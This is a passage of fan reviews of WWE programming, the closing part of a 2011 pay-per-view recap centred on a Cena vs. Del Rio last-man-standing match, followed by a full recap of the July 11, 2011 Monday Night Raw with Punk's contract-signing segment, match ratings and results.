They’re still down so here are Long and Ace. What role does Ace have here at all? Henry is still down but Show is up on his knees. Show gets on the cart and is holding his neck. He’s talking and cursing though. Henry actually falls out of the ring and is still trying to get up. He shoves the referees away and collapses. Henry stumbles up the ramp as he’s selling this thing to death.

Ace gets on the mic and says the title match is still on. He slips up (intentionally) and says it’s what he wants, not what the fans want.

We recap this feud, which can be summed up as Cena’s rematch after losing the title in a triple threat in the Cell.

Raw World Title: John Cena vs. Alberto Del Rio

Last man standing. Cena has a new shirt that says Rise Above Hate. More anti-bullying stuff even though that fad/movement is pretty much over. He walks up to a fan at ringside wearing a “We Hate Cena” shirt and gives him a little smirk. The guy has no idea what to do so Cena throws his hat over near him and gets in. The guy in the shirt was stunned.

Rodriguez jumps Cena and gets the advantage for Del Rio. Cena is in camo shorts here instead of the usual jeans. They’re actually in the broken ring. We talk about the ring collapsing and Jerry actually says Lesnar’s name. They head out for some brawling and Cena takes over back inside. I’m not going to bother mentioning the counts because they’re not going to come close until about ten minutes in.

Rodriguez has a big black eye. Belly to back puts Cena down and a second one puts him down again. Make it three of them. The ring is at a slant now. This really is a unique look. AA is countered into a Backstabber as Del Rio takes over again. He keeps going to the corners for some reason. Del Rio fires off some more suplexes but Cena counters and starts his finishing sequence. He looks for ropes for the Shuffle and has none in a funny bit.

AA is countered and the Mexican hits a German on the American. Cena hits a gutwrench suplex and they’re both down. A tilt-a-whirl backbreaker puts Cena down but Del Rio breaks it up. They have a good explanation for it though: why let Cena have a break when you know he’s getting up? Alberto puts Cena under the ropes and part of a post so he can stomp on it, getting about seven and Del Rio charges into the AA.

That only gets about 8 and Ricardo comes in to break up another AA. Cena fires off move #19, a big boot, to take Ricardo down. Alberto uses the distraction to try the armbreaker but Del Rio grabs a rear naked choke which slips into a sleeper instead. The referee checks the arm because….because…..because he’s not that smart. Cena is out and Del Rio has to be up to let the count begin, despite that not being a rule so far throughout the match.

Cena is up at like 7 and Del Rio is tossed into the barricade (no ropes remember) in a great looking crash. This is only the second time they’ve been out of the ring. Cena loads up the steps but goes into them according to Wrestling Law #2 (#1 is the table version). Rodriguez tries to cheat again but gets crotched on the post. Cena puts Alberto onto the post to teeter tot the post into Ricardo’s balls. Ok that was clever.

More steps are set up but Cena goes into them head first this time. Lawler says the steps weigh 400 pounds. So in other words, Del Rio and Cena could lift about half a ton if they were trying. A step shot to Cena like the one he hit Del Rio with on Monday gets 8. They fight into the back which is where things get interesting. Del Rio goes onto what looks like a catering/drink table and Cena is all fired up.

There’s a large anvil case (taller than Cena by about two feet) and far wider and Cena tries to drop it on Del Rio. He shoves it over but the champ moves. That would have killed him so that’s a good thing. Del Rio slams Cena onto the case and I think he breaks it. Cena is up at seven but back down at 8. Del Rio drops a big metal thing onto Cena (part of the interview set) and then shoves another onto him. Cena is getting buried AND THE INTERNET REJOICES!!! There are like five of them on him and he’s not moving. Jericho did this to Kane at Armageddon 2000.

Cena is like screw these five big metal objects on me and is up at 8. I love when wrestling just gets ridiculous like that. Rodriguez gets involved again and Cena is thrown through what looks like a cheap wooden V that the set is made of. He’s not on his back so we can’t count. Del Rio sets up a regular table (bigger pop than anything else in the match) and climbs up the set for no apparent reason. Cena pulls him down and he crashes through the table and Alberto is up at 9.

They fight over to the equipment stuff and then into the crowd. Ok they’re back at ringside now and onto the announce table. Cena throws Alberto into the barricade and takes out Ricardo for about the 9th time for fun. Alberto tries the running enziguri against the post but misses, probably breaking his leg. Cena loads up the steps for the third time and I think it’s Super AA time. You know, instead of letting the guy with a probably broken leg stay there.

Cena can be kind of a jerk in these matches you know? Yep it’s Super AA time and the Spanish Announce Table (trademark) explodes. That looks to be in but Awesome Truth runs in to beat down Cena. The referee stops looking at Del Rio as Miz hits the Finale and Truth hits Little Jimmy (the 10th name for his finisher) to put Cena out. Del Rio is up and Cena STILL gets up at 9. This is downright comical. There’s a belt shot and that’s finally enough to beat Cena at 27:00.

Rating: B. I’d call this match fun more than good. It’s when you get to the period of “can you top this and mix it with cartoon stuff that would kill people but only gets 9 counts that things get interesting. The idea here is it was Cena’s match but Del Rio found a way to win. I had fun with it and while I’d have liked something better than a belt shot to end it, it was still fun overall.

Cena looks messed up in the eyes.

Overall Rating: C-. Well the last two matches helped it A LOT but the rest of it was just weak. There was no reason for this show but it kind of gives us some closure to this segment of the year. With this ending we’re going to go into the Rock time which is what we’ve needed to do for awhile. This brings up the mentioned Survivor Series match with Miz/Truth being the two main heels on it. Not the worst show ever, but the first two hours or so were pretty weak.

Results
Air Boom b. Jack Swagger/Dolph Ziggler – Shooting Star Press to Ziggler
Dolph Ziggler b. Zack Ryder – Superkick
Beth Phoenix b. Eve Torres – Glam Slam
Sheamus b. Christian – Brogue Kick
Awesome Truth b. CM Punk/HHH – Little Jimmy Finale
Randy Orton b. Cody Rhodes – RKO
Mark Henry vs. Big Show went to a no contest
Alberto Del Rio b. John Cena when Cena couldn’t answer the ten count

 

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Monday Night Raw – July 11, 2011 – Punk vs. Vince. Table and Ice Cream Included.

Monday Night Raw
Date: July 11, 2011
Location: TD Garden, Boston, Massachusetts
Commentators: Michael Cole, Jerry Lawler

It’s the go home show for MITB and things should be rather interesting here.  It’s probably going to be either Punk’s last or next to last Raw so the talking could be great.  With Vince being around now there’s a chance he might pop up too.  Also we’ll get some build for the MITB match itself.  The interesting thing though is that the guys just got back from Australia so they’re likely going to be tired from the flight.  Let’s get to it.

Here’s Punk to open the show with a bullhorn.  He also grabs a headset and says something to the producer on it that we can’t here.  Punk sits in the ring and asks if he has everyone’s attention now.  He says recapping is in order in case you didn’t watch, which he didn’t because he wasn’t on, so last week he was suspended for what he said a few weeks ago.  Punk sums it up by saying he gets in trouble for saying things that no one else has the balls to say.

He demonstrates the bullhorn in case the mic is cut off.  The fans are totally behind him here and there’s a loud CM PUNK chant.  He says he’s here because Vince wants to sign him to a very long and lucrative contract to WWE.  Oddly enough all he’s ever wanted is a microphone.  I think you can buy one for like 12 bucks at Wal-Mart dude.  Punk says he’s been doing what Vince has wanted to do for years: making the WWE relevant in the real world.

That has only happened twice apparently: when Punk talks and when someone dies (no names mentioned).  Everyone from ESPN to E is calling him for his story.  Punk finds it funny that only now is Vince begging him to stay.  If Vince had treated him like this for the last five years, there wouldn’t be so much ammo built up for him to use.  Punk wants a live contract negotiating tonight in which Vince might have to join Punk’s version of Vince’s old kissing club.

Cue Cena who says cut the music.  Punk thanks him for getting him a job back that he didn’t even want.  He says he’s going to change the look of the title when he wins it because it’s been far too ugly for far too long.  Punk points out that Cena isn’t going to be fire because he was once before and it lasted like a week.  Cena: “You done?”  Punk: “Probably not but would you like to say something?”

Cena says that Punk has been talking about how he’s walking out of Chicago with the title and there’s nothing that can stop him.  Cena is no pushover though and now let’s talk about the word wrestler.  People have said for years that Punk is great and that Cena is what the company thinks is great.  Everyone has said that Punk is great over the years and a lot of names are mentioned including Eddie and Angle.  We’ll see how great they both are on Sunday.  A GM E-Mail says Vince is on the way and Cena is in action next.

John Cena vs. David Otunga/Michael McGillicutty

 

Cena vs. McGillicutty to start and Cena treats the champions like the jobbers they are, sending him to the floor as we take a quick break.  Back with Cena in a chinlock, apparently due to interference from Otunga.  STF attempt doesn’t work and it’s off to Otunga.  The match is completely boring as the announcers rant about how important the title is.  You know, that belt that they made a second version of at the drop of a hat.

Cena takes Otunga down and it’s off to McGillicutty who gets dominated.  You Can’t See Me and there’s the Shuffle.  AA is broken up by Otunga and they hit an atomic drop/dropkick combination for two.  Superplex by McGillicutty is blocked and there’s the top rope Fameasser to set up the STF but Otunga makes the save again.  Well at least it hasn’t been total Cena dominance.  And never mind as the AA ends McGillicutty at 9:56.

Rating: C-. Pretty boring match here but then again the Nexus are very boring to put it mildly.  I really don’t mind the champions losing again because it’s not like they’ve been built up in the slightest anyway.  Not sure why the GM would give Cena a seemingly hard match like that but maybe Punk will get one too.

Video on Henry being all dominant and evil lately.

Vickie is coaching Dolph on how to talk to Vince tonight.  The US Title needs to be the premiere title apparently so Punk and Cena need to be fired.  Vickie imitates Vince before Drew pops up and imitates him.  Dolph makes fun of “Vince” and they all make fun of his breath.  Vickie snorts when she laughs and Vince pops up behind them (big pop).  Tonight they’ll be in a handicap match against Big Show.  They leave and Vince is asks for a message for the people.  He doesn’t want to talk to the people right now.

Kelly Kelly vs. Melina

 

The Bellas are on commentary.  Jerry gets on Cole for saying there’s a way to tell the Bellas apart which they say doesn’t exist.  Kelly is in trouble early but takes over, uses a Stinkface for no apparent reason and hits the K2 to retain at 1:45.  Total nothing match.

Post match the Bellas say Kelly is way to skinny and wears way too much makeup.  They beat her down and Eve comes out for the save.  The Bellas leave her laying.

Quick recap of Miz destroying Riley after losing to him last week.

Here’s Miz and there are ladders everywhere.  He climbs up to the top of one underneath the MITB case.  He knows what it means to win the case and be world champion.  He’s taken that path before and since he’s the future, he’ll do it again.  Miz says he’s used to being above everyone else because he’s the best.  Cue Swagger who points out that he’s won the case and the title before.  Miz: “If someone cashed in MITB and no one remembers it, did it really happen?”

Cue Bourne who says he’s tired of hearing about what they’ve done so he’s going to talk about what he’ll do Sunday.  Bourne gets a running start and slides into the ring feet first with no hands.  Here’s Kofi who says the exact same thing that everyone else in the match is going to come out and say.  He talks about Edge getting hurt in these matches or something like that.  Truth comes out and talks about beating Cena recently.  He’s afraid of heights too, and there better not be any spiders on the ladder because he’s afraid of them too.  If he opens that case and there’s a spider, the grits will hit the pan.

Here’s Riley because six promos about one match isn’t enough.  He comes out at a spring and Miz runs.  Here’s Alberto in a Mercedes.  He got rid of Rey and now has to do all this all over again.  Oh and something about destiny.  An E-Mail makes a six man that starts right now.

The Miz/Jack Swagger/R-Truth vs. Alex Riley/Evan Bourne/Kofi Kingston

 

No Alberto or Rey here.  Back with the match already in progress with Bourne vs. Swagger.  Off to Miz as Cole talks about how awesome Miz is.  Everyone beats down Bourne for a bit with Truth in the ring at the moment.  Bourne gets a knee to the face and it’s hot tag to Kofi.  He comes in off a springboard and starts jumping all over the place.  Boom Drop to Truth.  He loads up Trouble in Paradise but stops to hit Swagger.

There’s the springboard cross body to Truth but Miz saves.  Truth knocks him to the floor as we take a break.  Back with Kofi getting beaten down by Miz.  Off to Truth who gets a two count.  Kofi manages to get a double DDT to Truth and Swagger and tags Morrison.  He hits a bunch of stuff on Swagger and beats on Miz a bit because he can.  Everything breaks down and Riley hits the inverted DDT on Swagger for the pin at 10:45 total.

Rating: C. Just an average match here with nothing of note going on.  You get almost the same match every year and it’s really not all that interesting.  Not a bad match or anything but really just kind of there.  They need to go with six people in the match instead of 8 as there are just too many of them that way.  Not bad, but the same stuff we always see out of these.

Everyone hits their finishers post match until Alberto comes out and destroys everyone with the ladder, including throwing it at Miz’s arm.  Bourne was holding his ankle too.

We recap the ending of Raw last week with Vince and Cena talking about everything involving Punk.   If Cena loses at the PPV he’s fired.

McIntyre/Ziggler vs. Show up next.

Drew McIntyre/Dolph Ziggler vs. Big Show

 

Show is all mad here.  Ziggler starts and looks at Show.  He tags out immediately so Show beats them both up.  Show dominates Drew as Ziggler hides.  Drew tries to leave and gets mauled by Show.  McIntyre gets thrown up the stage and it’s a countout at 2:00.

Show sets to chokeslam McIntyre off the stage but Henry comes out of nowhere and tackles both of them off the stage.  Henry goes flying also.  Drew just kind of disappears.

Henry doesn’t want help to the back.

We get a clip of Alberto destroying everyone earlier, setting up a long highlight video on MITB matches.

We run down the card for the PPV.

Punk and Vince are up next.

Vince comes out three times because the reaction isn’t strong enough for him.  No handshake for Cole.  He shakes hand with someone at ringside that is either famous or really lucky.  There’s a table and a red carpet in the ring.  He doesn’t want to negotiate in person but he’ll do it here.  He wants to get this over with so get out here.  Punk imitates Vince’s walk as is required by WWE law.

Vince’s chair falls down as he sits in it.  The contract has the provision for a Punk collector’s cup in it apparently.  Punk talks about how this contract proves that Vince has no faith in Cena.  Vince says he couldn’t live with himself if Punk somehow wins the title on Sunday.  He actually calls Punk Phil.  Punk doesn’t like the contract that’s made up so he had his lawyers make a new one.  Punk has already signed this one.

One of the provisions is he gets to push Vince.  Apparently Punk wants respect or he’s leaving with the title.  Apparently that wasn’t a provision.  The first is that he wants a jet.  As in a new one, not Vince’s because that one smells.  Punk wants his face on the Tron, the buckles, spoons, knives, forks, cups, everything.  HE WANTS THE ICE CREAM BARS BACK!!!  Punk is officially better than everyone.  That actually gets a HUGE reaction.

He wants CM Punk The Movie.  You can even call it the Chaperone II, although his will be funny and successful.  Oh and the main event of Wrestlemania will be Punk vs. whomever he’s against.  The last major perk is that he wants an apology for the suspension and for Vince being a huge hypocrite.  As far as the anti-bullying campaign goes, Vince is one of the biggest bullies Punk has ever met.  The fans are eating up every word Punk says.

Punk says his friends have worked here and they have been fired.  Vince says they deserved to be fired and Punk says that Vince is out of touch for firing people like Luke Gallows and Colt Cabana.  Vince doesn’t want to apologize so Punk throws the table over.  The fans want something that was either ice cream or wrestling.  Vince doesn’t care what the people want and Punk says that’s the point.

The fans want an apology right now and Vince actually says he’s sorry.  The fans chant for Colt Cabana as Vince picks up the contract to sign it.  Here’s Cena though who points out that even though the fans are cheering for him now, Punk is walking out on them Sunday.  Cena calls him a terrorist and says they’re both like kids.  Cena says he hates Vince too and makes stupid jokes.

Now we get to the awesome stuff.  Cena tells Punk that he’s lost sight of what got him here.  Punk talks about how at Wrestlemania 23 he was riding on the side of Cena’s car with a Tommy gun, saying that he promised himself that one day he would be in the ring with Cena instead of watching him.  Boston prides itself on being the underdog but now Cena is the WWE Champion and has become exactly what he hates.  Now he and Vince are the New York Yankees.  Cena drills him and Punk bails.  Apparently the man Vince shook hands with was Cena’s dad.

Punk sits on the stage and says that illustrates why he wants to leave.  He’s tired of all this and he’s leaving on Sunday.  Say goodbye to the WWE Title, say goodbye to John Cena and say goodbye to CM Punk.  He tears up the contract and does You Can’t See Me to end this.  The ending segment ran a bit too long and it hurt things.

Overall Rating: C+. Well the wrestling was pretty awful but the show got pushed very hard tonight.  The Raw side is built on two matches and those were pushed very hard indeed.  Anything else that happens at the PPV will be bonus material so it’s hard to complain about the lack of wrestling.  Ok no it isn’t but it’s more forgivable here.  Not a great show but for a go home show for this particular PPV, this was fine.

Results

John Cena b. David Otunga/Michael McGillicutty – AA to McGillicutty

Kelly Kelly b. Melina – K2

Evan Bourne/Alex Riley/Kofi Kingston b. The Miz/R-Truth/Jack Swagger – Inverted DDT to Swagger

Big Show vs. Dolph Ziggler/Drew McIntyre went to a double countout